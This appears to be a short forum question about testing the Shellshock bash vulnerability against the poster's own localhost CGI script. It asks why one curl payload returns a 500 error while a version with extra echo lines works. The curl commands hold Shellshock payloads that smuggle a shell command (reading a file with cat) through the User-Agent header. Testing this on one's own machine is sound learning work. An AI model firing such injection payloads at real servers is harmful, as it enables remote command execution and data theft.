I am trying to test the shellshock bug with CGI.I have a simple CGI script:#!/bin/bashecho Content-type: text/plainechoechoecho Hello WorldI trigger the script as follows, and the page loads fine:$ curl -A () {:;} http://localhost/test.cgiWhen I try the following, I get error 500:$ curl -A () {:;} ; /bin/cat myfile.txt http://localhost/test.cgiHowever, if I change the above to the following, it works again:$ curl -A () {:;} ; echo Content_type: text/plain; echo; echo; /bin/cat myfile.txt http://localhost/test.cgiCan someone tell why in the second case it didn't work and adding the  extra echo's makes it work ?
Testing shellshock with CGI
bash;shellshock;cgi